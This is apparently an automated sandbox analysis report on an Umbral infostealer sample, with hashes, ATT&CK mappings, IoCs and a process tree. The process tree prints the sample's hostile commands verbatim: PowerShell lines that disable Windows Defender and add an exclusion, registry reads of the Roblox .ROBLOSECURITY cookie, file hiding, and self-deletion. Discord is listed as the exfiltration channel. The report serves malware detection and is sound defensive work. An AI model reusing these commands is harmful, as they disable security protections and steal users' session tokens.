umbral | 2e13b3746f95c32061394ad5b7a1c9979ff5c1daf583631710a83bd6553de094

Analysis

max time kernel
73s
max time network
81s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
30-12-2024 19:20

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General

Target

2342352352154123.exe
Size

337KB
MD5

bcefcd96fb96ea99cad1fecaed829b88
SHA1

ddc984f18c9e31d2d965222c5d2d703d832fa9e1
SHA256

2e13b3746f95c32061394ad5b7a1c9979ff5c1daf583631710a83bd6553de094
SHA512

2a7db65518278df01b7faf0ec1e74b6af0a0ebf01f34438096827937000c3446246e594c984246dd54ac27e2fbd59370d7f0c89cdc84f8c974b07c5c1f0211af
SSDEEP

6144:mloZM+rIkd8g+EtXHkv/iD4a14SuMzvEDlwOffuUlYb8e1mK0iO0Cs:QoZtL+EP8a14SuMzvEDlwOffuU2J9

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/952-1-0x00000222730D0000-0x000002227312A000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2248	powershell.exe
2792	powershell.exe
2256	powershell.exe
3932	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	2342352352154123.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	discord.com
6	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3160	cmd.exe
5032	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2512	wmic.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2253712635-4068079004-3870069674-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5032	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
952	2342352352154123.exe
2248	powershell.exe
2248	powershell.exe
2792	powershell.exe
2792	powershell.exe
2256	powershell.exe
2256	powershell.exe
1524	powershell.exe
1524	powershell.exe
3932	powershell.exe
3932	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	2342352352154123.exe
Token: SeIncreaseQuotaPrivilege	4400	wmic.exe
Token: SeSecurityPrivilege	4400	wmic.exe
Token: SeTakeOwnershipPrivilege	4400	wmic.exe
Token: SeLoadDriverPrivilege	4400	wmic.exe
Token: SeSystemProfilePrivilege	4400	wmic.exe
Token: SeSystemtimePrivilege	4400	wmic.exe
Token: SeProfSingleProcessPrivilege	4400	wmic.exe
Token: SeIncBasePriorityPrivilege	4400	wmic.exe
Token: SeCreatePagefilePrivilege	4400	wmic.exe
Token: SeBackupPrivilege	4400	wmic.exe
Token: SeRestorePrivilege	4400	wmic.exe
Token: SeShutdownPrivilege	4400	wmic.exe
Token: SeDebugPrivilege	4400	wmic.exe
Token: SeSystemEnvironmentPrivilege	4400	wmic.exe
Token: SeRemoteShutdownPrivilege	4400	wmic.exe
Token: SeUndockPrivilege	4400	wmic.exe
Token: SeManageVolumePrivilege	4400	wmic.exe
Token: 33	4400	wmic.exe
Token: 34	4400	wmic.exe
Token: 35	4400	wmic.exe
Token: 36	4400	wmic.exe
Token: SeIncreaseQuotaPrivilege	4400	wmic.exe
Token: SeSecurityPrivilege	4400	wmic.exe
Token: SeTakeOwnershipPrivilege	4400	wmic.exe
Token: SeLoadDriverPrivilege	4400	wmic.exe
Token: SeSystemProfilePrivilege	4400	wmic.exe
Token: SeSystemtimePrivilege	4400	wmic.exe
Token: SeProfSingleProcessPrivilege	4400	wmic.exe
Token: SeIncBasePriorityPrivilege	4400	wmic.exe
Token: SeCreatePagefilePrivilege	4400	wmic.exe
Token: SeBackupPrivilege	4400	wmic.exe
Token: SeRestorePrivilege	4400	wmic.exe
Token: SeShutdownPrivilege	4400	wmic.exe
Token: SeDebugPrivilege	4400	wmic.exe
Token: SeSystemEnvironmentPrivilege	4400	wmic.exe
Token: SeRemoteShutdownPrivilege	4400	wmic.exe
Token: SeUndockPrivilege	4400	wmic.exe
Token: SeManageVolumePrivilege	4400	wmic.exe
Token: 33	4400	wmic.exe
Token: 34	4400	wmic.exe
Token: 35	4400	wmic.exe
Token: 36	4400	wmic.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2256	powershell.exe
Token: SeDebugPrivilege	1524	powershell.exe
Token: SeIncreaseQuotaPrivilege	3212	wmic.exe
Token: SeSecurityPrivilege	3212	wmic.exe
Token: SeTakeOwnershipPrivilege	3212	wmic.exe
Token: SeLoadDriverPrivilege	3212	wmic.exe
Token: SeSystemProfilePrivilege	3212	wmic.exe
Token: SeSystemtimePrivilege	3212	wmic.exe
Token: SeProfSingleProcessPrivilege	3212	wmic.exe
Token: SeIncBasePriorityPrivilege	3212	wmic.exe
Token: SeCreatePagefilePrivilege	3212	wmic.exe
Token: SeBackupPrivilege	3212	wmic.exe
Token: SeRestorePrivilege	3212	wmic.exe
Token: SeShutdownPrivilege	3212	wmic.exe
Token: SeDebugPrivilege	3212	wmic.exe
Token: SeSystemEnvironmentPrivilege	3212	wmic.exe
Token: SeRemoteShutdownPrivilege	3212	wmic.exe
Token: SeUndockPrivilege	3212	wmic.exe
Token: SeManageVolumePrivilege	3212	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3056	MiniSearchHost.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 952 wrote to memory of 4400	952	2342352352154123.exe	77
PID 952 wrote to memory of 4400	952	2342352352154123.exe	77
PID 952 wrote to memory of 3580	952	2342352352154123.exe	80
PID 952 wrote to memory of 3580	952	2342352352154123.exe	80
PID 952 wrote to memory of 2248	952	2342352352154123.exe	82
PID 952 wrote to memory of 2248	952	2342352352154123.exe	82
PID 952 wrote to memory of 2792	952	2342352352154123.exe	84
PID 952 wrote to memory of 2792	952	2342352352154123.exe	84
PID 952 wrote to memory of 2256	952	2342352352154123.exe	86
PID 952 wrote to memory of 2256	952	2342352352154123.exe	86
PID 952 wrote to memory of 1524	952	2342352352154123.exe	88
PID 952 wrote to memory of 1524	952	2342352352154123.exe	88
PID 952 wrote to memory of 3212	952	2342352352154123.exe	90
PID 952 wrote to memory of 3212	952	2342352352154123.exe	90
PID 952 wrote to memory of 1608	952	2342352352154123.exe	92
PID 952 wrote to memory of 1608	952	2342352352154123.exe	92
PID 952 wrote to memory of 3968	952	2342352352154123.exe	94
PID 952 wrote to memory of 3968	952	2342352352154123.exe	94
PID 952 wrote to memory of 3932	952	2342352352154123.exe	96
PID 952 wrote to memory of 3932	952	2342352352154123.exe	96
PID 952 wrote to memory of 2512	952	2342352352154123.exe	98
PID 952 wrote to memory of 2512	952	2342352352154123.exe	98
PID 952 wrote to memory of 3160	952	2342352352154123.exe	100
PID 952 wrote to memory of 3160	952	2342352352154123.exe	100
PID 3160 wrote to memory of 5032	3160	cmd.exe	102
PID 3160 wrote to memory of 5032	3160	cmd.exe	102

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3580	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2342352352154123.exe
"C:\Users\Admin\AppData\Local\Temp\2342352352154123.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:952
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4400
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\2342352352154123.exe"
  2⤵
  - Views/modifies file attributes
  PID:3580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2342352352154123.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2256
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1524
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3212
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1608
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3932
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:2512
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\2342352352154123.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:5032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:964

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
627073ee3ca9676911bee35548eff2b8

SHA1
4c4b68c65e2cab9864b51167d710aa29ebdcff2e

SHA256
85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

SHA512
3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
1a9fa92a4f2e2ec9e244d43a6a4f8fb9

SHA1
9910190edfaccece1dfcc1d92e357772f5dae8f7

SHA256
0ee052d5333fd5fd86bc84856fec98e045f077a7ac8051651bf7c521b9706888

SHA512
5d2361476fa22200e6f83883efe7dcb8c3fe7dae8d56e04e28a36e9ae1270c327b6aa161d92b239593da7661289d002c574446ecfd6bd19928209aae25e3ef64

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
441a842138038e6385e430a90d7ea608

SHA1
7b3712d2cdd37e10ee9b3994131ee5175e920f01

SHA256
47592f3324179912d3bdba336b9e75568c2c5f1a9fb37c1ba9f0db9df822164c

SHA512
9dbddc3216f2a132ae3961b3aeac2c5b8828dcc9292f6c5bf1171c47453aa8687f92658818d771413492c0ea565e9ede17b9c03e427af9dc2ac21a78369a6666

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
7332074ae2b01262736b6fbd9e100dac

SHA1
22f992165065107cc9417fa4117240d84414a13c

SHA256
baea84fda6c1f13090b8cbd91c920848946f10ce155ef31a1df4cd453ee7e4aa

SHA512
4ae6f0e012c31ac1fc2ff4a8877ce2b4667c45b6e651de798318a39a2b6fd39a6f72dffa8b0b89b7a045a27d724d195656faa25a9fec79b22f37ddebb5d22da2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
5a3470a4b3c0d706f2ed8af047986c02

SHA1
cab3ccd70e537ff7ff9e4be5cca9f1494c0450af

SHA256
288696fdc06f2f3d697460c013c41782c65462647981777f16d98277028dcf05

SHA512
cd7ceedb74ab0a08b3f986d534b596578b430675f80b063133896904d190e0c6b296d74fb0de423f93d74bb35f5dbfb51e123127054e1197dd3453eefeac89b6

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat

Filesize
10KB

MD5
77a8b2c86dd26c214bc11c989789b62d

SHA1
8b0f2d9d0ded2d7f9bff8aed6aefd6b3fdd1a499

SHA256
e288c02cbba393c9703519e660bf8709331f11978c6d994ea2a1346eef462cb8

SHA512
c287e3ae580343c43a5354347ca5444f54840fba127a2b1edc897b1dfea286fa37b5808f6e89f535c4022db8b3f29448aa4cc2f41ab0f308eec525a99fac4e5e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4icsrmkq.hkk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/952-68-0x0000022275610000-0x000002227561A000-memory.dmp

Filesize
40KB

Download
memory/952-0-0x00007FFABD6D3000-0x00007FFABD6D5000-memory.dmp

Filesize
8KB

Download
memory/952-88-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

Filesize
10.8MB

Download
memory/952-2-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

Filesize
10.8MB

Download
memory/952-31-0x00000222758B0000-0x0000022275926000-memory.dmp

Filesize
472KB

Download
memory/952-32-0x0000022275930000-0x0000022275980000-memory.dmp

Filesize
320KB

Download
memory/952-33-0x00000222755F0000-0x000002227560E000-memory.dmp

Filesize
120KB

Download
memory/952-69-0x0000022275980000-0x0000022275992000-memory.dmp

Filesize
72KB

Download
memory/952-1-0x00000222730D0000-0x000002227312A000-memory.dmp

Filesize
360KB

Download
memory/2248-12-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

Filesize
10.8MB

Download
memory/2248-17-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

Filesize
10.8MB

Download
memory/2248-14-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

Filesize
10.8MB

Download
memory/2248-3-0x0000020645060000-0x0000020645082000-memory.dmp

Filesize
136KB

Download
memory/2248-13-0x00007FFABD6D0000-0x00007FFABE192000-memory.dmp

Filesize
10.8MB

Download